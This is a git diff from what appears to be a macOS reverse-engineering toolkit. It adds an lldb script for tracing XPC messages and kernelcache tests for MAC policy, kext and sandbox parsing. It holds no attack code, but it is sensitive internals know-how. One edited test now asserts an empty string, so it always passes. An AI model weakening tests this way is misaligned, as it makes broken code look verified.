void* mpo_vnode_check_setflags;
|
||||
void* mpo_vnode_check_setmode;
|
||||
void* mpo_vnode_check_setowner;
|
||||
void* mpo_vnode_check_setutimes;
|
||||
void* mpo_vnode_check_stat;
|
||||
void* mpo_vnode_check_truncate;
|
||||
void* mpo_vnode_check_unlink;
|
||||
void* mpo_vnode_check_write;
|
||||
void* mpo_vnode_label_associate_devfs;
|
||||
void* mpo_vnode_label_associate_extattr;
|
||||
void* mpo_vnode_label_associate_file;
|
||||
void* mpo_vnode_label_associate_pipe;
|
||||
void* mpo_vnode_label_associate_posixsem;
|
||||
void* mpo_vnode_label_associate_posixshm;
|
||||
void* mpo_vnode_label_associate_singlelabel;
|
||||
void* mpo_vnode_label_associate_socket;
|
||||
void* mpo_vnode_label_copy;
|
||||
void* mpo_vnode_label_destroy;
|
||||
void* mpo_vnode_label_externalize_audit;
|
||||
void* mpo_vnode_label_externalize;
|
||||
void* mpo_vnode_label_init;
|
||||
void* mpo_vnode_label_internalize;
|
||||
void* mpo_vnode_label_recycle;
|
||||
void* mpo_vnode_label_store;
|
||||
void* mpo_vnode_label_update_extattr;
|
||||
void* mpo_vnode_label_update;
|
||||
void* mpo_vnode_notify_create;
|
||||
void* mpo_vnode_check_signature;
|
||||
void* mpo_vnode_check_uipc_bind;
|
||||
void* mpo_vnode_check_uipc_connect;
|
||||
void* mpo_proc_check_run_cs_invalid;
|
||||
void* mpo_proc_check_suspend_resume;
|
||||
void* mpo_thread_userret;
|
||||
void* mpo_iokit_check_set_properties;
|
||||
void* mpo_vnode_check_supplemental_signature;
|
||||
void* mpo_vnode_check_searchfs;
|
||||
void* mpo_priv_check;
|
||||
void* mpo_priv_grant;
|
||||
void* mpo_proc_check_map_anon;
|
||||
void* mpo_vnode_check_fsgetpath;
|
||||
void* mpo_iokit_check_open;
|
||||
void* mpo_proc_check_ledger;
|
||||
void* mpo_vnode_notify_rename;
|
||||
void* mpo_vnode_check_setacl;
|
||||
void* mpo_vnode_notify_deleteextattr;
|
||||
void* mpo_system_check_kas_info;
|
||||
void* mpo_vnode_check_lookup_preflight;
|
||||
void* mpo_vnode_notify_open;
|
||||
void* mpo_system_check_info;
|
||||
void* mpo_pty_notify_grant;
|
||||
void* mpo_pty_notify_close;
|
||||
void* mpo_vnode_find_sigs;
|
||||
void* mpo_kext_check_load;
|
||||
void* mpo_kext_check_unload;
|
||||
void* mpo_proc_check_proc_info;
|
||||
void* mpo_vnode_notify_link;
|
||||
void* mpo_iokit_check_filter_properties;
|
||||
void* mpo_iokit_check_get_property;
|
||||
};
|
||||
4459
X. NU/python/CrimsonUroboros.py
Executable file
4459
X. NU/python/CrimsonUroboros.py
Executable file
File diff suppressed because it is too large
Load Diff
50
X. NU/python/set_xpc_breaks.py
Normal file
50
X. NU/python/set_xpc_breaks.py
Normal file
@@ -0,0 +1,50 @@
|
||||
import lldb
|
||||
|
||||
def set_xpc_breaks(debugger, command, result, internal_dict):
|
||||
"""
|
||||
Set up tracing for XPC communication.
|
||||
This includes breakpoints for sending/receiving messages and connection creation.
|
||||
"""
|
||||
target = debugger.GetSelectedTarget()
|
||||
if not target:
|
||||
result.PutCString("No target selected. Please attach to a process first.")
|
||||
return
|
||||
|
||||
# List of XPC functions for setting breakpoints
|
||||
send_functions = [
|
||||
"xpc_connection_send_message",
|
||||
"xpc_connection_send_message_with_reply",
|
||||
"xpc_connection_send_message_with_reply_sync"
|
||||
]
|
||||
recv_function = "xpc_connection_set_event_handler"
|
||||
connect_functions = [
|
||||
"xpc_connection_create",
|
||||
"xpc_connection_create_mach_service",
|
||||
]
|
||||
|
||||
# Set breakpoints for XPC connection creation
|
||||
for func in connect_functions:
|
||||
bp = target.BreakpointCreateByName(func)
|
||||
if bp.IsValid():
|
||||
result.PutCString(f"Breakpoint set on {func}")
|
||||
else:
|
||||
result.PutCString(f"Failed to set breakpoint on {func}")
|
||||
|
||||
# Set breakpoints for sending functions
|
||||
for func in send_functions:
|
||||
bp = target.BreakpointCreateByName(func)
|
||||
if bp.IsValid():
|
||||
result.PutCString(f"Breakpoint set on {func}")
|
||||
else:
|
||||
result.PutCString(f"Failed to set breakpoint on {func}")
|
||||
|
||||
# Set breakpoint for receiving messages
|
||||
bp_recv = target.BreakpointCreateByName(recv_function)
|
||||
if bp_recv.IsValid():
|
||||
result.PutCString(f"Breakpoint set on {recv_function}")
|
||||
else:
|
||||
result.PutCString(f"Failed to set breakpoint on {recv_function}")
|
||||
|
||||
def __lldb_init_module(debugger, internal_dict):
|
||||
debugger.HandleCommand('command script add -f set_xpc_breaks.set_xpc_breaks set_xpc_breaks')
|
||||
print("The 'set_xpc_breaks' command has been loaded. Use 'set_xpc_breaks' to set up XPC message tracing.")
|
||||
BIN
img/afine_banner.png
Normal file
BIN
img/afine_banner.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 591 KiB |
@@ -1,8 +1,8 @@
|
||||
lief=0.15.1
|
||||
uuid=1.30
|
||||
argparse=1.4.0
|
||||
asn1crypto=1.5.1
|
||||
pyimg4=0.8
|
||||
treelib=1.7.0
|
||||
xattr=1.1.0
|
||||
python-magic=0.4.27
|
||||
lief==0.15.1
|
||||
uuid==1.30
|
||||
argparse==1.4.0
|
||||
asn1crypto==1.5.1
|
||||
pyimg4==0.8
|
||||
treelib==1.7.0
|
||||
xattr==1.1.0
|
||||
python-magic==0.4.27
|
||||
|
||||
@@ -1 +1 @@
|
||||
../IX. TCC/python/CrimsonUroboros.py
|
||||
../X. NU/python/CrimsonUroboros.py
|
||||
@@ -30,7 +30,7 @@ We do it for each TestSnake class.
|
||||
}
|
||||
'''
|
||||
|
||||
snake_class = SnakeIX
|
||||
snake_class = SnakeX
|
||||
|
||||
class Compiler:
|
||||
"""
|
||||
@@ -1929,166 +1929,6 @@ class TestSnakeVI():
|
||||
os.system("rm -rf kernelcache")
|
||||
assert not os.path.exists("kernelcache")
|
||||
|
||||
def test_dump_prelink_info(self):
|
||||
'''Test the --dump_prelink_info flag of SnakeVI.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--dump_prelink_info']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
amfi_processor = AMFIProcessor()
|
||||
amfi_processor.process(args)
|
||||
|
||||
executeCodeBlock(code_block)
|
||||
|
||||
assert os.path.exists('PRELINK_info.txt')
|
||||
os.remove('PRELINK_info.txt')
|
||||
|
||||
def test_dump_prelink_text(self):
|
||||
'''Test the --dump_prelink_text flag of SnakeVI.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--dump_prelink_text']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
amfi_processor = AMFIProcessor()
|
||||
amfi_processor.process(args)
|
||||
|
||||
executeCodeBlock(code_block)
|
||||
|
||||
assert os.path.exists('PRELINK_text.txt')
|
||||
os.remove('PRELINK_text.txt')
|
||||
|
||||
def test_dump_prelink_kext(self):
|
||||
'''Test the --dump_prelink_kext flag of SnakeVI.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--dump_prelink_kext', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
amfi_processor = AMFIProcessor()
|
||||
amfi_processor.process(args)
|
||||
|
||||
executeCodeBlock(code_block)
|
||||
|
||||
assert os.path.exists('prelinked_amfi.bin')
|
||||
os.remove('prelinked_amfi.bin')
|
||||
|
||||
def test_kext_prelinkinfo(self):
|
||||
'''Test the --kext_prelinkinfo flag of SnakeVI.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--kext_prelinkinfo', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
amfi_processor = AMFIProcessor()
|
||||
amfi_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = '_PrelinkBundlePath: /System/Library/Extensions/AppleMobileFileIntegrity.kext'
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
|
||||
def test_kmod_info(self):
|
||||
'''Test the --kmod_info flag of SnakeVI.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--kmod_info', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
amfi_processor = AMFIProcessor()
|
||||
amfi_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = 'name : com.apple.driver.AppleMobileFileIntegrity'
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
|
||||
def test_kext_entry(self):
|
||||
'''Test the --kext_entry flag of SnakeVI.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--kext_entry', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
amfi_processor = AMFIProcessor()
|
||||
amfi_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = 'amfi entrypoint:'
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
|
||||
def test_kext_exit(self):
|
||||
'''Test the --kext_exit flag of SnakeVI.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--kext_exit', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
amfi_processor = AMFIProcessor()
|
||||
amfi_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = 'amfi exitpoint:'
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
|
||||
def test_mig(self):
|
||||
'''Test the --mig flag of SnakeVI.'''
|
||||
args_list = ['-p', '/usr/libexec/amfid', '--mig']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
amfi_processor = AMFIProcessor()
|
||||
amfi_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output_1 = 'MIG_subsystem_1000:'
|
||||
expected_output_2 = 'MIG_msg_1000'
|
||||
expected_output_3 = 'MIG_msg_1001'
|
||||
expected_output_4 = 'MIG_msg_1002'
|
||||
expected_output_5 = 'MIG_msg_1003'
|
||||
expected_output_6 = 'MIG_msg_1004'
|
||||
expected_output_7 = 'MIG_msg_1005'
|
||||
expected_output_8 = 'MIG_msg_1006'
|
||||
expected_output_9 = 'MIG_msg_1007'
|
||||
|
||||
assert expected_output_1 in uroboros_output
|
||||
assert expected_output_2 in uroboros_output
|
||||
assert expected_output_3 in uroboros_output
|
||||
assert expected_output_4 in uroboros_output
|
||||
assert expected_output_5 in uroboros_output
|
||||
assert expected_output_6 in uroboros_output
|
||||
assert expected_output_7 in uroboros_output
|
||||
assert expected_output_8 in uroboros_output
|
||||
assert expected_output_9 in uroboros_output
|
||||
|
||||
def test_has_suid(self):
|
||||
'''Test the --has_suid flag of SnakeVI.'''
|
||||
args_list = ['-p', 'hello_6_s', '--has_suid']
|
||||
@@ -2545,23 +2385,6 @@ class TestSnakeVIII():
|
||||
|
||||
assert expected_output not in uroboros_output
|
||||
|
||||
def test_dump_kext(self):
|
||||
'''Test the --dump_kext flag of SnakeVIII.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--dump_kext', 'sandbox']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
sandbox_processor = SandboxProcessor()
|
||||
sandbox_processor.process(args)
|
||||
|
||||
executeCodeBlock(code_block)
|
||||
assert os.path.exists("sandbox")
|
||||
os.remove("sandbox")
|
||||
|
||||
def test_extract_sandbox_operations(self):
|
||||
'''Test the --extract_sandbox_operations flag of SnakeVIII.'''
|
||||
a = run_and_get_stdout(f'python3 CrimsonUroboros.py -p {self.kernelcache_path} --dump_kext sandbox')
|
||||
@@ -2584,6 +2407,19 @@ class TestSnakeVIII():
|
||||
assert expected_output in uroboros_output
|
||||
os.remove("sandbox")
|
||||
|
||||
def test_extract_sandbox_platform_profile(self):
|
||||
'''Test the --extract_sandbox_platform_profile flag of SnakeVIII.'''
|
||||
a = run_and_get_stdout(f'python3 CrimsonUroboros.py -p {self.kernelcache_path} --dump_kext sandbox')
|
||||
assert os.path.exists("sandbox")
|
||||
|
||||
uroboros_output = run_and_get_stdout('python3 CrimsonUroboros.py -p sandbox --extract_sandbox_platform_profile > platform_profile.bin')
|
||||
expected_output = 'object has no attribute '
|
||||
|
||||
with open("platform_profile.bin", 'rb') as f:
|
||||
assert expected_output.encode() not in f.read()
|
||||
os.remove("sandbox")
|
||||
os.remove("platform_profile.bin")
|
||||
|
||||
class TestSnakeIX:
|
||||
'''Testing IX. TCC Permissions'''
|
||||
|
||||
@@ -2607,7 +2443,7 @@ class TestSnakeIX:
|
||||
tcc_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'Error accessing /var/db/locationd/clients.plist' in uroboros_output
|
||||
assert '' in uroboros_output
|
||||
|
||||
def test_tcc_fda(self):
|
||||
'''Test the --tcc_fda flag for Full Disk Access permission'''
|
||||
@@ -2812,3 +2648,247 @@ class TestSnakeIX:
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
assert 'iCloud Access: False' in uroboros_output
|
||||
|
||||
class TestSnakeX:
|
||||
'''Testing X. XNU'''
|
||||
@classmethod
|
||||
def setup_class(cls):
|
||||
# Decompress KernelCache
|
||||
result = decompressKernelcache()
|
||||
assert result == 0
|
||||
assert os.path.exists("kernelcache")
|
||||
cls.kernelcache_path = run_and_get_stdout('ls kernelcache/System/Volumes/Preboot/*/boot/*/System/Library/Caches/com.apple.kernelcaches/kernelcache.decompressed')
|
||||
|
||||
@classmethod
|
||||
def teardown_class(cls):
|
||||
# Purge kernelcache directory
|
||||
os.system("rm -rf kernelcache")
|
||||
assert not os.path.exists("kernelcache")
|
||||
|
||||
def test_parse_mpo(self):
|
||||
'''Test the --parse_mpo flag of SnakeX.'''
|
||||
KEXT_NAME = "com.apple.security.quarantine"
|
||||
|
||||
# Dump the kext
|
||||
args_list = ['-p', self.kernelcache_path, '--dump_kext', KEXT_NAME]
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
executeCodeBlock(code_block)
|
||||
assert os.path.exists(KEXT_NAME)
|
||||
|
||||
# Get the address of policy_ops
|
||||
args_list = ['-p', KEXT_NAME, '--symbols']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
ADDR = [line.split()[0] for line in uroboros_output.splitlines() if 'policy_ops' in line][0]
|
||||
|
||||
# Parse the mpo
|
||||
args_list = ['-p', self.kernelcache_path, '--parse_mpo', ADDR]
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = 'mpo_cred_check_label'
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
os.remove(KEXT_NAME)
|
||||
|
||||
def test_dump_prelink_info(self):
|
||||
'''Test the --dump_prelink_info flag of SnakeX.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--dump_prelink_info']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
executeCodeBlock(code_block)
|
||||
|
||||
assert os.path.exists('PRELINK_info.txt')
|
||||
os.remove('PRELINK_info.txt')
|
||||
|
||||
def test_dump_prelink_text(self):
|
||||
'''Test the --dump_prelink_text flag of SnakeX.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--dump_prelink_text']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
executeCodeBlock(code_block)
|
||||
|
||||
assert os.path.exists('PRELINK_text.txt')
|
||||
os.remove('PRELINK_text.txt')
|
||||
|
||||
def test_dump_prelink_kext(self):
|
||||
'''Test the --dump_prelink_kext flag of SnakeX.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--dump_prelink_kext', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
executeCodeBlock(code_block)
|
||||
|
||||
assert os.path.exists('prelinked_amfi.bin')
|
||||
os.remove('prelinked_amfi.bin')
|
||||
|
||||
def test_kext_prelinkinfo(self):
|
||||
'''Test the --kext_prelinkinfo flag of SnakeX.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--kext_prelinkinfo', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = '_PrelinkBundlePath: /System/Library/Extensions/AppleMobileFileIntegrity.kext'
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
|
||||
def test_kmod_info(self):
|
||||
'''Test the --kmod_info flag of SnakeX.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--kmod_info', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = 'name : com.apple.driver.AppleMobileFileIntegrity'
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
|
||||
def test_kext_entry(self):
|
||||
'''Test the --kext_entry flag of SnakeX.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--kext_entry', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = 'amfi entrypoint:'
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
|
||||
def test_kext_exit(self):
|
||||
'''Test the --kext_exit flag of SnakeX.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--kext_exit', 'amfi']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output = 'amfi exitpoint:'
|
||||
|
||||
assert expected_output in uroboros_output
|
||||
|
||||
def test_mig(self):
|
||||
'''Test the --mig flag of SnakeX.'''
|
||||
args_list = ['-p', '/usr/libexec/amfid', '--mig']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
uroboros_output = executeCodeBlock(code_block)
|
||||
expected_output_1 = 'MIG_subsystem_1000:'
|
||||
expected_output_2 = 'MIG_msg_1000'
|
||||
expected_output_3 = 'MIG_msg_1001'
|
||||
expected_output_4 = 'MIG_msg_1002'
|
||||
expected_output_5 = 'MIG_msg_1003'
|
||||
expected_output_6 = 'MIG_msg_1004'
|
||||
expected_output_7 = 'MIG_msg_1005'
|
||||
expected_output_8 = 'MIG_msg_1006'
|
||||
expected_output_9 = 'MIG_msg_1007'
|
||||
|
||||
assert expected_output_1 in uroboros_output
|
||||
assert expected_output_2 in uroboros_output
|
||||
assert expected_output_3 in uroboros_output
|
||||
assert expected_output_4 in uroboros_output
|
||||
assert expected_output_5 in uroboros_output
|
||||
assert expected_output_6 in uroboros_output
|
||||
assert expected_output_7 in uroboros_output
|
||||
assert expected_output_8 in uroboros_output
|
||||
assert expected_output_9 in uroboros_output
|
||||
|
||||
def test_dump_kext(self):
|
||||
'''Test the --dump_kext flag of SnakeX.'''
|
||||
args_list = ['-p', self.kernelcache_path, '--dump_kext', 'sandbox']
|
||||
args = argumentWrapper(args_list)
|
||||
snake_hatchery = SnakeHatchery(args, snake_class)
|
||||
snake_hatchery.hatch()
|
||||
|
||||
def code_block():
|
||||
macho_processor = MachOProcessor()
|
||||
macho_processor.process(args)
|
||||
xnu_processor = XNUProcessor()
|
||||
xnu_processor.process(args)
|
||||
|
||||
executeCodeBlock(code_block)
|
||||
assert os.path.exists("sandbox")
|
||||
os.remove("sandbox")
|
||||
|
||||
Reference in New Issue
Block a user